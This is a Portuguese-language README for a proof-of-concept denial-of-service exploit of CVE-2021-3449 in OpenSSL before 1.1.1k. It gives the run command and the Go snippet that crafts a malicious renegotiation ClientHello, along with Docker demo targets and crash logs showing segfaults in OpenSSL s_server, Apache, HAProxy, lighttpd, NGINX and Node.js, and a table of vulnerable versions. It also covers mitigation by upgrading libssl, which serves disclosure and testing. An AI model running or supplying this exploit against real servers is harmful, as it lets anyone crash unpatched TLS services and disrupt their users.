CVE-2021-3449 exploit de DoS no OpenSSL <1.1.1k

Uso: go run . -host hostname:port

Este programa implementa um exploit de prova de conceito da CVE-2021-3449 que afeta servidores OpenSSL anteriores à versão 1.1.1k se a renegociação segura TLSv1.2 for aceita.

Ele conecta a um servidor TLSv1.2 e inicia imediatamente uma "renegociação segura" RFC 5746. O ataque envolve um ClientHello maliciosamente elaborado que faz o servidor travar ao causar uma desreferência de ponteiro NULL (negação de serviço).

Referências

Este problema foi relatado à OpenSSL em 17 de março de 2021 pela Nokia. A correção foi desenvolvida por Peter Kästle e Samuel Sapalski, da Nokia.

Mitigação

A única correção conhecida é atualizar o libssl1.1.

Embora alguns aplicativos usem configurações TLS reforçadas por padrão que desativam a renegociação TLS, eles ainda são afetados pelo bug se estiverem executando uma versão antiga do OpenSSL.

Exploit

main.go é um pequeno script que se conecta a um servidor TLS, força uma renegociação e se desconecta.

O código do exploit foi injetado em uma versão empacotada do pacote encoding/tls do Go 1.14.15. Você pode encontrá-lo em handshake_client.go:115. A lógica é autoexplicativa.

// CVE-2021-3449 exploit code.
if hello.vers >= VersionTLS12 {
    if c.handshakes == 0 {
        println("sending initial ClientHello")
        hello.supportedSignatureAlgorithms = supportedSignatureAlgorithms
    } else {
        // OpenSSL pre-1.1.1k runs into a NULL-pointer dereference
        // if the supported_signature_algorithms extension is omitted,
        // but supported_signature_algorithms_cert is present.
        println("sending malicious ClientHello")
        hello.supportedSignatureAlgorithmsCert = supportedSignatureAlgorithms
    }
}

– @terorie

Demonstração

O diretório demo/ contém configurações para modificar vários aplicativos com uma versão vulnerável do OpenSSL.

Configuração de teste:

Baixe e compile localmente a versão vulnerável do OpenSSL 1.1.1j
Prepare um contêiner de destino Ubuntu 20.04 e envie as bibliotecas do OpenSSL
Instale o aplicativo no contêiner de destino
Inicie o servidor e execute o ataque

Requisitos:

OpenSSL (no host)
build-essential (Perl, GCC, Make)
Docker

Nota: Nenhum dos servidores web listados é vulnerável à CVE-2021-3449 com OpenSSL 1.1.1k ou posterior.

Para limpar todos os recursos da demonstração, execute make clean.

Servidor simples do OpenSSL

O openssl s_server é uma implementação mínima de servidor TLS.

make demo-openssl: Execução completa (porta 4433)
make -C demo build-openssl: Construir a imagem Docker de destino
make -C demo start-openssl: Iniciar o destino na porta 4433
make -C demo stop-openssl: Parar o destino

Resultado: Queda total do servidor.

Logs

docker run -d -it --name cve-2021-3449-openssl --network host local/cve-2021-3449/openssl
a16c44f98a37b7e0c0777d3bd66456203de129fd23566d2141ef2bec9777be17
docker logs -f cve-2021-3449-openssl &
sleep 2
warning: Error disabling address space randomization: Operation not permitted
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Using default temp DH parameters
ACCEPT
sending initial ClientHello
connected
sending malicious ClientHello

[[truncated]]

Program received signal SIGSEGV, Segmentation fault.
0x00007f668bd89283 in tls12_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#0  0x00007f668bd89283 in tls12_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#1  0x00007f668bd893cd in tls1_set_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#2  0x00007f668bd89fe3 in tls1_process_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#3  0x00007f668bd8a110 in tls1_set_server_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#4  0x00007f668bd824a2 in tls_early_post_process_client_hello () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#5  0x00007f668bd84d55 in tls_post_process_client_hello () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#6  0x00007f668bd8522f in ossl_statem_server_post_process_message () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#7  0x00007f668bd710e1 in read_state_machine () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#8  0x00007f668bd7199d in state_machine () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#9  0x00007f668bd71c4e in ossl_statem_accept () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#10 0x00007f668bd493ab in ssl3_read_bytes () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#11 0x00007f668bd504ec in ssl3_read_internal () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#12 0x00007f668bd50595 in ssl3_read () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#13 0x00007f668bd5ae5c in ssl_read_internal () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#14 0x00007f668bd5af5b in SSL_read () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#15 0x000055aa5a10f209 in sv_body ()
#16 0x000055aa5a1302ec in do_server ()
#17 0x000055aa5a114815 in s_server_main ()
#18 0x000055aa5a0f9395 in do_cmd ()
#19 0x000055aa5a0f9ee1 in main ()
malicious handshake failed, exploit might have worked

Apache2 httpd

O servidor web Apache2 httpd com a configuração padrão é vulnerável.

make demo-apache: Execução completa (porta 443)
make -C demo build-apache: Construir a imagem Docker de destino
make -C demo start-apache: Iniciar o destino na porta 443
make -C demo stop-apache: Parar o destino

Agradecimento a @binarytrails pela contribuição.

Resultado: Disrupção parcial, o processo principal continua ativo, mas o processo worker travou.

Logs

docker run -d -it --name cve-2021-3449-apache2 --network host local/cve-2021-3449/apache2
0bf38dd8ab721f0ae3713448d2a28050b6e7d11fa7e3174b6ec9b1bbcfa124c8
docker logs -f cve-2021-3449-apache2 &

[[truncated]]

sending initial ClientHello
connected
sending malicious ClientHello
[Sat Mar 27 02:54:38.153327 2021] [ssl:info] [pid 21:tid 140433175750400] [client 127.0.0.1:46846] AH01964: Connection to child 64 established (server localhost:443)
[Sat Mar 27 02:54:38.153619 2021] [ssl:debug] [pid 21:tid 140433175750400] ssl_engine_kernel.c(2317): [client 127.0.0.1:46846] AH02043: SSL virtual host for servername localhost found
[Sat Mar 27 02:54:38.155697 2021] [ssl:debug] [pid 21:tid 140433175750400] ssl_engine_kernel.c(2233): [client 127.0.0.1:46846] AH02041: Protocol: TLSv1.2, Cipher: ECDHE-RSA-CHACHA20-POLY1305 (256/256 bits)
[Sat Mar 27 02:54:38.155781 2021] [ssl:error] [pid 21:tid 140433175750400] [client 127.0.0.1:46846] AH02042: rejecting client initiated renegotiation
[Sat Mar 27 02:54:38.155837 2021] [ssl:debug] [pid 21:tid 140433175750400] ssl_engine_kernel.c(2317): [client 127.0.0.1:46846] AH02043: SSL virtual host for servername localhost found
malicious handshake failed, exploit might have worked: EOF
[Sat Mar 27 02:54:39.183129 2021] [core:notice] [pid 19:tid 140433267538880] AH00051: child pid 21 exit signal Segmentation fault (11), possible coredump in /etc/apache2

HAProxy

As versões 2.0.13 e superiores do HAProxy não são afetadas.

Versões anteriores a, pelo menos, 1.8.8 são vulneráveis com a configuração TLS "intermediária".

make demo-haproxy: Execução completa (porta 4433)
make -C demo build-haproxy: Construir a imagem Docker de destino
make -C demo start-haproxy: Iniciar o destino na porta 4433
make -C demo stop-haproxy: Parar o destino

Testes executados usando o modo master-worker (flag -W, padrão no Debian). Surpreendentemente, o processo mestre sai se um processo worker morrer.

Resultado: Queda total do servidor.

Logs

docker run -d -it --name cve-2021-3449-haproxy --network host local/cve-2021-3449/haproxy
1786bd2fc0ed8d8ffb0388fb223a61c9cabdd095cb9908e35ad4c77e1677cda8
docker logs -f cve-2021-3449-haproxy &
sending initial ClientHello
connected
sending malicious ClientHello
malicious handshake failed, exploit might have worked: EOF
[ALERT] 086/075305 (1) : Current worker 7 exited with code 139
[ALERT] 086/075305 (1) : exit-on-failure: killing every workers with SIGTERM
[WARNING] 086/075305 (1) : All workers exited. Exiting... (139)

lighttpd

As versões 1.4.56 e superiores do lighttpd não são vulneráveis se ssl.disable-client-renegotiation = "enable" estiver configurado no lighttpd.conf.

O servidor web lighttpd <= 1.4.55 com configuração TLS "intermediária" é vulnerável.

make demo-lighttpd: Execução completa (porta 4433)
make -C demo build-lighttpd: Construir a imagem Docker de destino
make -C demo start-lighttpd: Iniciar o destino na porta 4433
make -C demo stop-lighttpd: Parar o destino

Resultado: Queda total do servidor.

Logs

docker run -d -it --name cve-2021-3449-lighttpd --network host local/cve-2021-3449/lighttpd
84970c88abb9251e8b92a2fca777c6c23e5e8693dff0ae62c5a363692a859232
docker logs -f cve-2021-3449-lighttpd &
sending initial ClientHello
connected
sending malicious ClientHello
malicious handshake failed, exploit might have worked: EOF
/bin/bash: line 1:     7 Segmentation fault      lighttpd -D -f /etc/lighttpd/lighttpd.conf

NGINX

As versões 1.18.0 e superiores do NGINX não são vulneráveis.

O servidor web NGINX 1.14.0 com configuração comum é vulnerável. (https://nginxconfig.io)

As versões do NGINX >1.15.4 com OpenSSL >=1.1.1 são consideradas seguras, pois incluem o patch SSL_OP_NO_RENEGOTIATION: http://mailman.nginx.org/pipermail/nginx-devel/2018-September/011461.html

make demo-nginx: Execução completa (porta 4433)
make -C demo build-nginx: Construir a imagem Docker de destino
make -C demo start-nginx: Iniciar o destino na porta 4433
make -C demo stop-nginx: Parar o destino

Resultado: Disrupção parcial, o processo principal continua ativo, mas o processo worker travou.

Logs

docker run -d -it --name cve-2021-3449-nginx --network host local/cve-2021-3449/nginx
ccba15530df5ba3d74a584a8c62d4e88deb33203fc5dee6c3c3387b132861f70
docker logs -f cve-2021-3449-nginx &
sending initial ClientHello
connected
sending malicious ClientHello
malicious handshake failed, exploit might have worked: EOF
2021/03/27 03:24:40 [alert] 7#7: worker process 8 exited on signal 11 (core dumped)

Node.js

O Node.js https.createServer() é vulnerável.

make demo-nodejs: Execução completa (porta 4433)
make -C demo build-nodejs: Construir a imagem Docker de destino
make -C demo start-nodejs: Iniciar o destino na porta 4433
make -C demo stop-nodejs: Parar o destino

Resultado: Queda total do servidor.

Logs

server started
sending initial ClientHello
connected
sending malicious ClientHello

Thread 1 "node" received signal SIGSEGV, Segmentation fault.
0x000000000160714e in tls1_process_sigalgs ()
#0  0x000000000160714e in tls1_process_sigalgs ()
#1  0x00000000016074b3 in tls1_set_server_sigalgs ()
#2  0x00000000016007dd in tls_post_process_client_hello ()
#3  0x00000000015ef692 in state_machine.part ()
#4  0x00000000015c1a6d in ssl3_read_bytes ()
#5  0x00000000015ca2c7 in ssl3_read ()
#6  0x00000000015d6491 in SSL_read ()
#7  0x0000000000c35332 in node::crypto::TLSWrap::ClearOut() ()
#8  0x0000000000c35f10 in node::crypto::TLSWrap::OnStreamRead(long, uv_buf_t const&) ()
#9  0x0000000000b6cad8 in node::LibuvStreamWrap::OnUvRead(long, uv_buf_t const*) ()
#10 0x00000000014842d7 in uv__read (stream=stream@entry=0x5df10f0) at ../deps/uv/src/unix/stream.c:1239
#11 0x0000000001484c90 in uv__stream_io (loop=<optimized out>, w=0x5df1178, events=1) at ../deps/uv/src/unix/stream.c:1306
#12 0x000000000148b775 in uv.io_poll () at ../deps/uv/src/unix/linux-core.c:462
#13 0x0000000001479318 in uv_run (loop=0x45a1020 <default_loop_struct>, mode=UV_RUN_DEFAULT) at ../deps/uv/src/unix/core.c:385
#14 0x00000000009d2025 in node::SpinEventLoop(node::Environment*) ()
#15 0x0000000000ac8b90 in node::NodeMainInstance::Run(node::EnvSerializeInfo const*) ()
#16 0x0000000000a4f73a in node::Start(int, char**) ()
#17 0x00007efe747dcbf7 in __libc_start_main (main=0x9cbbd0 <main>, argc=2, argv=0x7fff42035238, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fff42035228) at ../csu/libc-start.c:310
#18 0x00000000009ce26c in _start ()
malicious handshake failed, exploit might have worked: EOF

Direitos autorais

Este repositório inclui o pacote encoding/tls da linguagem de programação Go.

// Copyright 2009 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.

OpenSSL s_server	-	1.1.1j	`make demo-openssl`	Queda
Apache2	Ubuntu 18.04	2.4.29	`make demo-apache2`	Queda parcial
HAProxy	Ubuntu 18.04	1.8.8	`make demo-haproxy`	Queda
HAProxy	Ubuntu 20.04	2.0.13	`make demo-haproxy`	Sem efeito
lighttpd	Ubuntu 18.04	1.4.55	`make demo-lighttpd`	Queda
lighttpd	Ubuntu 20.04	1.4.55	`make demo-lighttpd`	Queda
lighttpd	Ubuntu 21.04	1.4.59	`make demo-lighttpd`	Sem efeito com opção de configuração
NGINX	Ubuntu 18.04	1.14.0	`make demo-nginx`	Queda parcial
NGINX	Ubuntu 20.04	1.18.0	`make demo-nginx`	Sem efeito
Node.js <=12	Ubuntu 18.04			Sem efeito
Node.js >12	Ubuntu 18.04	?	`make demo-nodejs`	Queda
Node.js >12	Ubuntu 18.04	15.14.0	`make demo-nodejs`	Sem efeito

cve-2021-3449

Mais Populares

CVE-2021-3449 exploit de DoS no OpenSSL <1.1.1k

Referências

Mitigação

Exploit

Demonstração

Servidor simples do OpenSSL

Apache2 httpd

HAProxy

lighttpd

NGINX

Node.js

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